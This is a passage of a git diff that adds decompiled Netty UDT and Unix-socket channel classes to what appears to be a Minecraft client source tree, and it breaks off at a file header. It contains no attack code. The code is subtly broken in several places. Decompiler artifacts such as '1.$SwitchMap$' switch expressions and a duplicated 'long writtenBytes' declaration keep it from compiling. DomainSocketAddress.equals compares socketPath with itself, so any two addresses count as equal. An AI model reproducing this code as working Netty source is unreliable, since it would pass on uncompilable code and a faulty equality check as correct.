+
+
+  public static final UdtChannelOption<Integer> PROTOCOL_SEND_BUFFER_SIZE = new UdtChannelOption("PROTOCOL_SEND_BUFFER_SIZE");
+  
+
+
+
+
+  public static final UdtChannelOption<Integer> SYSTEM_RECEIVE_BUFFER_SIZE = new UdtChannelOption("SYSTEM_RECEIVE_BUFFER_SIZE");
+  
+
+
+
+
+  public static final UdtChannelOption<Integer> SYSTEM_SEND_BUFFER_SIZE = new UdtChannelOption("SYSTEM_SEND_BUFFER_SIZE");
+  
+
+  private UdtChannelOption(String name)
+  {
+    super(name);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/udt/UdtMessage.java b/src/minecraft/io/netty/channel/udt/UdtMessage.java
new file mode 100644
index 0000000..ee61bd2
--- /dev/null
+++ b/src/minecraft/io/netty/channel/udt/UdtMessage.java
@@ -0,0 +1,55 @@
+package io.netty.channel.udt;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.DefaultByteBufHolder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UdtMessage
+  extends DefaultByteBufHolder
+{
+  public UdtMessage(ByteBuf data)
+  {
+    super(data);
+  }
+  
+  public UdtMessage copy()
+  {
+    return new UdtMessage(content().copy());
+  }
+  
+  public UdtMessage duplicate()
+  {
+    return new UdtMessage(content().duplicate());
+  }
+  
+  public UdtMessage retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public UdtMessage retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/udt/UdtServerChannel.java b/src/minecraft/io/netty/channel/udt/UdtServerChannel.java
new file mode 100644
index 0000000..b85cfdc
--- /dev/null
+++ b/src/minecraft/io/netty/channel/udt/UdtServerChannel.java
@@ -0,0 +1,7 @@
+package io.netty.channel.udt;
+
+import io.netty.channel.ServerChannel;
+
+public abstract interface UdtServerChannel
+  extends ServerChannel, UdtChannel
+{}
diff --git a/src/minecraft/io/netty/channel/udt/UdtServerChannelConfig.java b/src/minecraft/io/netty/channel/udt/UdtServerChannelConfig.java
new file mode 100644
index 0000000..1fae2ca
--- /dev/null
+++ b/src/minecraft/io/netty/channel/udt/UdtServerChannelConfig.java
@@ -0,0 +1,49 @@
+package io.netty.channel.udt;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+
+public abstract interface UdtServerChannelConfig
+  extends UdtChannelConfig
+{
+  public abstract int getBacklog();
+  
+  public abstract UdtServerChannelConfig setBacklog(int paramInt);
+  
+  public abstract UdtServerChannelConfig setConnectTimeoutMillis(int paramInt);
+  
+  public abstract UdtServerChannelConfig setMaxMessagesPerRead(int paramInt);
+  
+  public abstract UdtServerChannelConfig setWriteSpinCount(int paramInt);
+  
+  public abstract UdtServerChannelConfig setAllocator(ByteBufAllocator paramByteBufAllocator);
+  
+  public abstract UdtServerChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator paramRecvByteBufAllocator);
+  
+  public abstract UdtServerChannelConfig setAutoRead(boolean paramBoolean);
+  
+  public abstract UdtServerChannelConfig setAutoClose(boolean paramBoolean);
+  
+  public abstract UdtServerChannelConfig setProtocolReceiveBufferSize(int paramInt);
+  
+  public abstract UdtServerChannelConfig setProtocolSendBufferSize(int paramInt);
+  
+  public abstract UdtServerChannelConfig setReceiveBufferSize(int paramInt);
+  
+  public abstract UdtServerChannelConfig setReuseAddress(boolean paramBoolean);
+  
+  public abstract UdtServerChannelConfig setSendBufferSize(int paramInt);
+  
+  public abstract UdtServerChannelConfig setSoLinger(int paramInt);
+  
+  public abstract UdtServerChannelConfig setSystemReceiveBufferSize(int paramInt);
+  
+  public abstract UdtServerChannelConfig setSystemSendBufferSize(int paramInt);
+  
+  public abstract UdtServerChannelConfig setWriteBufferHighWaterMark(int paramInt);
+  
+  public abstract UdtServerChannelConfig setWriteBufferLowWaterMark(int paramInt);
+  
+  public abstract UdtServerChannelConfig setMessageSizeEstimator(MessageSizeEstimator paramMessageSizeEstimator);
+}
diff --git a/src/minecraft/io/netty/channel/udt/nio/NioUdtAcceptorChannel.java b/src/minecraft/io/netty/channel/udt/nio/NioUdtAcceptorChannel.java
new file mode 100644
index 0000000..d5c51ce
--- /dev/null
+++ b/src/minecraft/io/netty/channel/udt/nio/NioUdtAcceptorChannel.java
@@ -0,0 +1,134 @@
+package io.netty.channel.udt.nio;
+
+import com.barchart.udt.TypeUDT;
+import com.barchart.udt.nio.NioServerSocketUDT;
+import com.barchart.udt.nio.ServerSocketChannelUDT;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.nio.AbstractNioMessageChannel;
+import io.netty.channel.udt.DefaultUdtServerChannelConfig;
+import io.netty.channel.udt.UdtServerChannel;
+import io.netty.channel.udt.UdtServerChannelConfig;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class NioUdtAcceptorChannel
+  extends AbstractNioMessageChannel
+  implements UdtServerChannel
+{
+  protected static final InternalLogger logger = InternalLoggerFactory.getInstance(NioUdtAcceptorChannel.class);
+  
+  private final UdtServerChannelConfig config;
+  
+  protected NioUdtAcceptorChannel(ServerSocketChannelUDT channelUDT)
+  {
+    super(null, channelUDT, 16);
+    try {
+      channelUDT.configureBlocking(false);
+      config = new DefaultUdtServerChannelConfig(this, channelUDT, true);
+    } catch (Exception e) {
+      try {
+        channelUDT.close();
+      } catch (Exception e2) {
+        if (logger.isWarnEnabled()) {
+          logger.warn("Failed to close channel.", e2);
+        }
+      }
+      throw new ChannelException("Failed to configure channel.", e);
+    }
+  }
+  
+  protected NioUdtAcceptorChannel(TypeUDT type) {
+    this(NioUdtProvider.newAcceptorChannelUDT(type));
+  }
+  
+  public UdtServerChannelConfig config()
+  {
+    return config;
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    javaChannel().socket().bind(localAddress, config.getBacklog());
+  }
+  
+  protected void doClose() throws Exception
+  {
+    javaChannel().close();
+  }
+  
+  protected boolean doConnect(SocketAddress remoteAddress, SocketAddress localAddress)
+    throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected void doDisconnect() throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected void doFinishConnect() throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected boolean doWriteMessage(Object msg, ChannelOutboundBuffer in) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected final Object filterOutboundMessage(Object msg) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean isActive()
+  {
+    return javaChannel().socket().isBound();
+  }
+  
+  protected ServerSocketChannelUDT javaChannel()
+  {
+    return (ServerSocketChannelUDT)super.javaChannel();
+  }
+  
+  protected SocketAddress localAddress0()
+  {
+    return javaChannel().socket().getLocalSocketAddress();
+  }
+  
+  public InetSocketAddress localAddress() {
+    return (InetSocketAddress)super.localAddress();
+  }
+  
+  public InetSocketAddress remoteAddress()
+  {
+    return null;
+  }
+  
+  protected SocketAddress remoteAddress0()
+  {
+    return null;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/udt/nio/NioUdtByteAcceptorChannel.java b/src/minecraft/io/netty/channel/udt/nio/NioUdtByteAcceptorChannel.java
new file mode 100644
index 0000000..8173ba9
--- /dev/null
+++ b/src/minecraft/io/netty/channel/udt/nio/NioUdtByteAcceptorChannel.java
@@ -0,0 +1,50 @@
+package io.netty.channel.udt.nio;
+
+import com.barchart.udt.TypeUDT;
+import com.barchart.udt.nio.ServerSocketChannelUDT;
+import com.barchart.udt.nio.SocketChannelUDT;
+import io.netty.channel.ChannelMetadata;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NioUdtByteAcceptorChannel
+  extends NioUdtAcceptorChannel
+{
+  private static final ChannelMetadata METADATA = new ChannelMetadata(false);
+  
+  public NioUdtByteAcceptorChannel() {
+    super(TypeUDT.STREAM);
+  }
+  
+  protected int doReadMessages(List<Object> buf) throws Exception
+  {
+    SocketChannelUDT channelUDT = javaChannel().accept();
+    if (channelUDT == null) {
+      return 0;
+    }
+    buf.add(new NioUdtByteConnectorChannel(this, channelUDT));
+    return 1;
+  }
+  
+
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/udt/nio/NioUdtByteConnectorChannel.java b/src/minecraft/io/netty/channel/udt/nio/NioUdtByteConnectorChannel.java
new file mode 100644
index 0000000..351cb1c
--- /dev/null
+++ b/src/minecraft/io/netty/channel/udt/nio/NioUdtByteConnectorChannel.java
@@ -0,0 +1,188 @@
+package io.netty.channel.udt.nio;
+
+import com.barchart.udt.TypeUDT;
+import com.barchart.udt.nio.NioSocketUDT;
+import com.barchart.udt.nio.SocketChannelUDT;
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.FileRegion;
+import io.netty.channel.nio.AbstractNioByteChannel;
+import io.netty.channel.udt.DefaultUdtChannelConfig;
+import io.netty.channel.udt.UdtChannel;
+import io.netty.channel.udt.UdtChannelConfig;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+import java.nio.channels.SelectionKey;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NioUdtByteConnectorChannel
+  extends AbstractNioByteChannel
+  implements UdtChannel
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(NioUdtByteConnectorChannel.class);
+  
+
+  private static final ChannelMetadata METADATA = new ChannelMetadata(false);
+  private final UdtChannelConfig config;
+  
+  public NioUdtByteConnectorChannel()
+  {
+    this(TypeUDT.STREAM);
+  }
+  
+  public NioUdtByteConnectorChannel(Channel parent, SocketChannelUDT channelUDT) {
+    super(parent, channelUDT);
+    try {
+      channelUDT.configureBlocking(false);
+      switch (1.$SwitchMap$com$barchart$udt$StatusUDT[channelUDT.socketUDT().status().ordinal()]) {
+      case 1: 
+      case 2: 
+        config = new DefaultUdtChannelConfig(this, channelUDT, true);
+        break;
+      default: 
+        config = new DefaultUdtChannelConfig(this, channelUDT, false);
+      }
+    }
+    catch (Exception e) {
+      try {
+        channelUDT.close();
+      } catch (Exception e2) {
+        if (logger.isWarnEnabled()) {
+          logger.warn("Failed to close channel.", e2);
+        }
+      }
+      throw new ChannelException("Failed to configure channel.", e);
+    }
+  }
+  
+  public NioUdtByteConnectorChannel(SocketChannelUDT channelUDT) {
+    this(null, channelUDT);
+  }
+  
+  public NioUdtByteConnectorChannel(TypeUDT type) {
+    this(NioUdtProvider.newConnectorChannelUDT(type));
+  }
+  
+  public UdtChannelConfig config()
+  {
+    return config;
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    javaChannel().bind(localAddress);
+  }
+  
+  protected void doClose() throws Exception
+  {
+    javaChannel().close();
+  }
+  
+  protected boolean doConnect(SocketAddress remoteAddress, SocketAddress localAddress)
+    throws Exception
+  {
+    doBind(localAddress != null ? localAddress : new InetSocketAddress(0));
+    boolean success = false;
+    try {
+      boolean connected = javaChannel().connect(remoteAddress);
+      if (!connected) {
+        selectionKey().interestOps(selectionKey().interestOps() | 0x8);
+      }
+      
+      success = true;
+      return connected;
+    } finally {
+      if (!success) {
+        doClose();
+      }
+    }
+  }
+  
+  protected void doDisconnect() throws Exception
+  {
+    doClose();
+  }
+  
+  protected void doFinishConnect() throws Exception
+  {
+    if (javaChannel().finishConnect()) {
+      selectionKey().interestOps(selectionKey().interestOps() & 0xFFFFFFF7);
+    }
+    else {
+      throw new Error("Provider error: failed to finish connect. Provider library should be upgraded.");
+    }
+  }
+  
+  protected int doReadBytes(ByteBuf byteBuf)
+    throws Exception
+  {
+    return byteBuf.writeBytes(javaChannel(), byteBuf.writableBytes());
+  }
+  
+  protected int doWriteBytes(ByteBuf byteBuf) throws Exception
+  {
+    int expectedWrittenBytes = byteBuf.readableBytes();
+    return byteBuf.readBytes(javaChannel(), expectedWrittenBytes);
+  }
+  
+  protected long doWriteFileRegion(FileRegion region) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean isActive()
+  {
+    SocketChannelUDT channelUDT = javaChannel();
+    return (channelUDT.isOpen()) && (channelUDT.isConnectFinished());
+  }
+  
+  protected SocketChannelUDT javaChannel()
+  {
+    return (SocketChannelUDT)super.javaChannel();
+  }
+  
+  protected SocketAddress localAddress0()
+  {
+    return javaChannel().socket().getLocalSocketAddress();
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+  
+  protected SocketAddress remoteAddress0()
+  {
+    return javaChannel().socket().getRemoteSocketAddress();
+  }
+  
+  public InetSocketAddress localAddress()
+  {
+    return (InetSocketAddress)super.localAddress();
+  }
+  
+  public InetSocketAddress remoteAddress()
+  {
+    return (InetSocketAddress)super.remoteAddress();
+  }
+}
diff --git a/src/minecraft/io/netty/channel/udt/nio/NioUdtByteRendezvousChannel.java b/src/minecraft/io/netty/channel/udt/nio/NioUdtByteRendezvousChannel.java
new file mode 100644
index 0000000..c00085d
--- /dev/null
+++ b/src/minecraft/io/netty/channel/udt/nio/NioUdtByteRendezvousChannel.java
@@ -0,0 +1,28 @@
+package io.netty.channel.udt.nio;
+
+import com.barchart.udt.TypeUDT;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NioUdtByteRendezvousChannel
+  extends NioUdtByteConnectorChannel
+{
+  public NioUdtByteRendezvousChannel()
+  {
+    super(NioUdtProvider.newRendezvousChannelUDT(TypeUDT.STREAM));
+  }
+}
diff --git a/src/minecraft/io/netty/channel/udt/nio/NioUdtMessageAcceptorChannel.java b/src/minecraft/io/netty/channel/udt/nio/NioUdtMessageAcceptorChannel.java
new file mode 100644
index 0000000..944c238
--- /dev/null
+++ b/src/minecraft/io/netty/channel/udt/nio/NioUdtMessageAcceptorChannel.java
@@ -0,0 +1,50 @@
+package io.netty.channel.udt.nio;
+
+import com.barchart.udt.TypeUDT;
+import com.barchart.udt.nio.ServerSocketChannelUDT;
+import com.barchart.udt.nio.SocketChannelUDT;
+import io.netty.channel.ChannelMetadata;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NioUdtMessageAcceptorChannel
+  extends NioUdtAcceptorChannel
+{
+  private static final ChannelMetadata METADATA = new ChannelMetadata(false);
+  
+  public NioUdtMessageAcceptorChannel() {
+    super(TypeUDT.DATAGRAM);
+  }
+  
+  protected int doReadMessages(List<Object> buf) throws Exception
+  {
+    SocketChannelUDT channelUDT = javaChannel().accept();
+    if (channelUDT == null) {
+      return 0;
+    }
+    buf.add(new NioUdtMessageConnectorChannel(this, channelUDT));
+    return 1;
+  }
+  
+
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/udt/nio/NioUdtMessageConnectorChannel.java b/src/minecraft/io/netty/channel/udt/nio/NioUdtMessageConnectorChannel.java
new file mode 100644
index 0000000..2f40375
--- /dev/null
+++ b/src/minecraft/io/netty/channel/udt/nio/NioUdtMessageConnectorChannel.java
@@ -0,0 +1,246 @@
+package io.netty.channel.udt.nio;
+
+import com.barchart.udt.TypeUDT;
+import com.barchart.udt.nio.NioSocketUDT;
+import com.barchart.udt.nio.SocketChannelUDT;
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.nio.AbstractNioMessageChannel;
+import io.netty.channel.udt.DefaultUdtChannelConfig;
+import io.netty.channel.udt.UdtChannel;
+import io.netty.channel.udt.UdtChannelConfig;
+import io.netty.channel.udt.UdtMessage;
+import io.netty.util.internal.StringUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+import java.nio.channels.SelectionKey;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NioUdtMessageConnectorChannel
+  extends AbstractNioMessageChannel
+  implements UdtChannel
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(NioUdtMessageConnectorChannel.class);
+  
+
+  private static final ChannelMetadata METADATA = new ChannelMetadata(false);
+  private static final String EXPECTED_TYPE = " (expected: " + StringUtil.simpleClassName(UdtMessage.class) + ')';
+  private final UdtChannelConfig config;
+  
+  public NioUdtMessageConnectorChannel()
+  {
+    this(TypeUDT.DATAGRAM);
+  }
+  
+  public NioUdtMessageConnectorChannel(Channel parent, SocketChannelUDT channelUDT) {
+    super(parent, channelUDT, 1);
+    try {
+      channelUDT.configureBlocking(false);
+      switch (1.$SwitchMap$com$barchart$udt$StatusUDT[channelUDT.socketUDT().status().ordinal()]) {
+      case 1: 
+      case 2: 
+        config = new DefaultUdtChannelConfig(this, channelUDT, true);
+        break;
+      default: 
+        config = new DefaultUdtChannelConfig(this, channelUDT, false);
+      }
+    }
+    catch (Exception e) {
+      try {
+        channelUDT.close();
+      } catch (Exception e2) {
+        if (logger.isWarnEnabled()) {
+          logger.warn("Failed to close channel.", e2);
+        }
+      }
+      throw new ChannelException("Failed to configure channel.", e);
+    }
+  }
+  
+  public NioUdtMessageConnectorChannel(SocketChannelUDT channelUDT) {
+    this(null, channelUDT);
+  }
+  
+  public NioUdtMessageConnectorChannel(TypeUDT type) {
+    this(NioUdtProvider.newConnectorChannelUDT(type));
+  }
+  
+  public UdtChannelConfig config()
+  {
+    return config;
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    javaChannel().bind(localAddress);
+  }
+  
+  protected void doClose() throws Exception
+  {
+    javaChannel().close();
+  }
+  
+  protected boolean doConnect(SocketAddress remoteAddress, SocketAddress localAddress)
+    throws Exception
+  {
+    doBind(localAddress != null ? localAddress : new InetSocketAddress(0));
+    boolean success = false;
+    try {
+      boolean connected = javaChannel().connect(remoteAddress);
+      if (!connected) {
+        selectionKey().interestOps(selectionKey().interestOps() | 0x8);
+      }
+      
+      success = true;
+      return connected;
+    } finally {
+      if (!success) {
+        doClose();
+      }
+    }
+  }
+  
+  protected void doDisconnect() throws Exception
+  {
+    doClose();
+  }
+  
+  protected void doFinishConnect() throws Exception
+  {
+    if (javaChannel().finishConnect()) {
+      selectionKey().interestOps(selectionKey().interestOps() & 0xFFFFFFF7);
+    }
+    else {
+      throw new Error("Provider error: failed to finish connect. Provider library should be upgraded.");
+    }
+  }
+  
+
+  protected int doReadMessages(List<Object> buf)
+    throws Exception
+  {
+    int maximumMessageSize = config.getReceiveBufferSize();
+    
+    ByteBuf byteBuf = config.getAllocator().directBuffer(maximumMessageSize);
+    
+
+    int receivedMessageSize = byteBuf.writeBytes(javaChannel(), maximumMessageSize);
+    
+
+    if (receivedMessageSize <= 0) {
+      byteBuf.release();
+      return 0;
+    }
+    
+    if (receivedMessageSize >= maximumMessageSize) {
+      javaChannel().close();
+      throw new ChannelException("Invalid config : increase receive buffer size to avoid message truncation");
+    }
+    
+
+
+    buf.add(new UdtMessage(byteBuf));
+    
+    return 1;
+  }
+  
+  protected boolean doWriteMessage(Object msg, ChannelOutboundBuffer in)
+    throws Exception
+  {
+    UdtMessage message = (UdtMessage)msg;
+    
+    ByteBuf byteBuf = message.content();
+    
+    int messageSize = byteBuf.readableBytes();
+    long writtenBytes;
+    long writtenBytes;
+    if (byteBuf.nioBufferCount() == 1) {
+      writtenBytes = javaChannel().write(byteBuf.nioBuffer());
+    } else {
+      writtenBytes = javaChannel().write(byteBuf.nioBuffers());
+    }
+    
+
+    if ((writtenBytes <= 0L) && (messageSize > 0)) {
+      return false;
+    }
+    
+
+    if (writtenBytes != messageSize) {
+      throw new Error("Provider error: failed to write message. Provider library should be upgraded.");
+    }
+    
+
+    return true;
+  }
+  
+  protected final Object filterOutboundMessage(Object msg) throws Exception
+  {
+    if ((msg instanceof UdtMessage)) {
+      return msg;
+    }
+    
+    throw new UnsupportedOperationException("unsupported message type: " + StringUtil.simpleClassName(msg) + EXPECTED_TYPE);
+  }
+  
+
+  public boolean isActive()
+  {
+    SocketChannelUDT channelUDT = javaChannel();
+    return (channelUDT.isOpen()) && (channelUDT.isConnectFinished());
+  }
+  
+  protected SocketChannelUDT javaChannel()
+  {
+    return (SocketChannelUDT)super.javaChannel();
+  }
+  
+  protected SocketAddress localAddress0()
+  {
+    return javaChannel().socket().getLocalSocketAddress();
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+  
+  protected SocketAddress remoteAddress0()
+  {
+    return javaChannel().socket().getRemoteSocketAddress();
+  }
+  
+  public InetSocketAddress localAddress()
+  {
+    return (InetSocketAddress)super.localAddress();
+  }
+  
+  public InetSocketAddress remoteAddress()
+  {
+    return (InetSocketAddress)super.remoteAddress();
+  }
+}
diff --git a/src/minecraft/io/netty/channel/udt/nio/NioUdtMessageRendezvousChannel.java b/src/minecraft/io/netty/channel/udt/nio/NioUdtMessageRendezvousChannel.java
new file mode 100644
index 0000000..3692614
--- /dev/null
+++ b/src/minecraft/io/netty/channel/udt/nio/NioUdtMessageRendezvousChannel.java
@@ -0,0 +1,32 @@
+package io.netty.channel.udt.nio;
+
+import com.barchart.udt.TypeUDT;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NioUdtMessageRendezvousChannel
+  extends NioUdtMessageConnectorChannel
+{
+  public NioUdtMessageRendezvousChannel()
+  {
+    super(NioUdtProvider.newRendezvousChannelUDT(TypeUDT.DATAGRAM));
+  }
+}
diff --git a/src/minecraft/io/netty/channel/udt/nio/NioUdtProvider.java b/src/minecraft/io/netty/channel/udt/nio/NioUdtProvider.java
new file mode 100644
index 0000000..7566921
--- /dev/null
+++ b/src/minecraft/io/netty/channel/udt/nio/NioUdtProvider.java
@@ -0,0 +1,242 @@
+package io.netty.channel.udt.nio;
+
+import com.barchart.udt.SocketUDT;
+import com.barchart.udt.TypeUDT;
+import com.barchart.udt.nio.ChannelUDT;
+import com.barchart.udt.nio.KindUDT;
+import com.barchart.udt.nio.RendezvousChannelUDT;
+import com.barchart.udt.nio.SelectorProviderUDT;
+import com.barchart.udt.nio.ServerSocketChannelUDT;
+import com.barchart.udt.nio.SocketChannelUDT;
+import io.netty.bootstrap.ChannelFactory;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelException;
+import io.netty.channel.udt.UdtChannel;
+import io.netty.channel.udt.UdtServerChannel;
+import java.io.IOException;
+import java.nio.channels.spi.SelectorProvider;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class NioUdtProvider<T extends UdtChannel>
+  implements ChannelFactory<T>
+{
+  public static final ChannelFactory<UdtServerChannel> BYTE_ACCEPTOR = new NioUdtProvider(TypeUDT.STREAM, KindUDT.ACCEPTOR);
+  
+
+
+
+
+
+  public static final ChannelFactory<UdtChannel> BYTE_CONNECTOR = new NioUdtProvider(TypeUDT.STREAM, KindUDT.CONNECTOR);
+  
+
+
+
+
+
+  public static final SelectorProvider BYTE_PROVIDER = SelectorProviderUDT.STREAM;
+  
+
+
+
+
+  public static final ChannelFactory<UdtChannel> BYTE_RENDEZVOUS = new NioUdtProvider(TypeUDT.STREAM, KindUDT.RENDEZVOUS);
+  
+
+
+
+
+
+  public static final ChannelFactory<UdtServerChannel> MESSAGE_ACCEPTOR = new NioUdtProvider(TypeUDT.DATAGRAM, KindUDT.ACCEPTOR);
+  
+
+
+
+
+
+  public static final ChannelFactory<UdtChannel> MESSAGE_CONNECTOR = new NioUdtProvider(TypeUDT.DATAGRAM, KindUDT.CONNECTOR);
+  
+
+
+
+
+
+  public static final SelectorProvider MESSAGE_PROVIDER = SelectorProviderUDT.DATAGRAM;
+  
+
+
+
+
+  public static final ChannelFactory<UdtChannel> MESSAGE_RENDEZVOUS = new NioUdtProvider(TypeUDT.DATAGRAM, KindUDT.RENDEZVOUS);
+  
+
+  private final KindUDT kind;
+  
+
+  private final TypeUDT type;
+  
+
+  public static ChannelUDT channelUDT(Channel channel)
+  {
+    if ((channel instanceof NioUdtByteAcceptorChannel)) {
+      return ((NioUdtByteAcceptorChannel)channel).javaChannel();
+    }
+    if ((channel instanceof NioUdtByteConnectorChannel)) {
+      return ((NioUdtByteConnectorChannel)channel).javaChannel();
+    }
+    if ((channel instanceof NioUdtByteRendezvousChannel)) {
+      return ((NioUdtByteRendezvousChannel)channel).javaChannel();
+    }
+    
+    if ((channel instanceof NioUdtMessageAcceptorChannel)) {
+      return ((NioUdtMessageAcceptorChannel)channel).javaChannel();
+    }
+    if ((channel instanceof NioUdtMessageConnectorChannel)) {
+      return ((NioUdtMessageConnectorChannel)channel).javaChannel();
+    }
+    if ((channel instanceof NioUdtMessageRendezvousChannel)) {
+      return ((NioUdtMessageRendezvousChannel)channel).javaChannel();
+    }
+    return null;
+  }
+  
+
+
+  static ServerSocketChannelUDT newAcceptorChannelUDT(TypeUDT type)
+  {
+    try
+    {
+      return SelectorProviderUDT.from(type).openServerSocketChannel();
+    } catch (IOException e) {
+      throw new ChannelException("failed to open a server socket channel", e);
+    }
+  }
+  
+
+  static SocketChannelUDT newConnectorChannelUDT(TypeUDT type)
+  {
+    try
+    {
+      return SelectorProviderUDT.from(type).openSocketChannel();
+    } catch (IOException e) {
+      throw new ChannelException("failed to open a socket channel", e);
+    }
+  }
+  
+
+
+  static RendezvousChannelUDT newRendezvousChannelUDT(TypeUDT type)
+  {
+    try
+    {
+      return SelectorProviderUDT.from(type).openRendezvousChannel();
+    } catch (IOException e) {
+      throw new ChannelException("failed to open a rendezvous channel", e);
+    }
+  }
+  
+
+
+
+
+
+  public static SocketUDT socketUDT(Channel channel)
+  {
+    ChannelUDT channelUDT = channelUDT(channel);
+    if (channelUDT == null) {
+      return null;
+    }
+    return channelUDT.socketUDT();
+  }
+  
+
+
+
+
+
+
+  private NioUdtProvider(TypeUDT type, KindUDT kind)
+  {
+    this.type = type;
+    this.kind = kind;
+  }
+  
+
+
+  public KindUDT kind()
+  {
+    return kind;
+  }
+  
+
+
+
+
+
+  public T newChannel()
+  {
+    switch (1.$SwitchMap$com$barchart$udt$nio$KindUDT[kind.ordinal()]) {
+    case 1: 
+      switch (type) {
+      case DATAGRAM: 
+        return new NioUdtMessageAcceptorChannel();
+      case STREAM: 
+        return new NioUdtByteAcceptorChannel();
+      }
+      throw new IllegalStateException("wrong type=" + type);
+    
+    case 2: 
+      switch (type) {
+      case DATAGRAM: 
+        return new NioUdtMessageConnectorChannel();
+      case STREAM: 
+        return new NioUdtByteConnectorChannel();
+      }
+      throw new IllegalStateException("wrong type=" + type);
+    
+    case 3: 
+      switch (type) {
+      case DATAGRAM: 
+        return new NioUdtMessageRendezvousChannel();
+      case STREAM: 
+        return new NioUdtByteRendezvousChannel();
+      }
+      throw new IllegalStateException("wrong type=" + type);
+    }
+    
+    throw new IllegalStateException("wrong kind=" + kind);
+  }
+  
+
+
+
+  public TypeUDT type()
+  {
+    return type;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/unix/DatagramSocketAddress.java b/src/minecraft/io/netty/channel/unix/DatagramSocketAddress.java
new file mode 100644
index 0000000..c2502e0
--- /dev/null
+++ b/src/minecraft/io/netty/channel/unix/DatagramSocketAddress.java
@@ -0,0 +1,40 @@
+package io.netty.channel.unix;
+
+import java.net.InetSocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DatagramSocketAddress
+  extends InetSocketAddress
+{
+  private static final long serialVersionUID = 3094819287843178401L;
+  private final int receivedAmount;
+  
+  DatagramSocketAddress(String addr, int port, int receivedAmount)
+  {
+    super(addr, port);
+    this.receivedAmount = receivedAmount;
+  }
+  
+  public int receivedAmount() {
+    return receivedAmount;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/unix/DomainSocketAddress.java b/src/minecraft/io/netty/channel/unix/DomainSocketAddress.java
new file mode 100644
index 0000000..4092c9e
--- /dev/null
+++ b/src/minecraft/io/netty/channel/unix/DomainSocketAddress.java
@@ -0,0 +1,68 @@
+package io.netty.channel.unix;
+
+import java.io.File;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DomainSocketAddress
+  extends SocketAddress
+{
+  private static final long serialVersionUID = -6934618000832236893L;
+  private final String socketPath;
+  
+  public DomainSocketAddress(String socketPath)
+  {
+    if (socketPath == null) {
+      throw new NullPointerException("socketPath");
+    }
+    this.socketPath = socketPath;
+  }
+  
+  public DomainSocketAddress(File file) {
+    this(file.getPath());
+  }
+  
+
+
+  public String path()
+  {
+    return socketPath;
+  }
+  
+  public String toString()
+  {
+    return path();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (this == o) {
+      return true;
+    }
+    if (!(o instanceof DomainSocketAddress)) {
+      return false;
+    }
+    
+    return socketPath.equals(socketPath);
+  }
+  
+  public int hashCode()
+  {
+    return socketPath.hashCode();
+  }
+}
diff --git a/src/minecraft/io/netty/channel/unix/DomainSocketChannel.java b/src/minecraft/io/netty/channel/unix/DomainSocketChannel.java
new file mode 100644
index 0000000..178388e
--- /dev/null
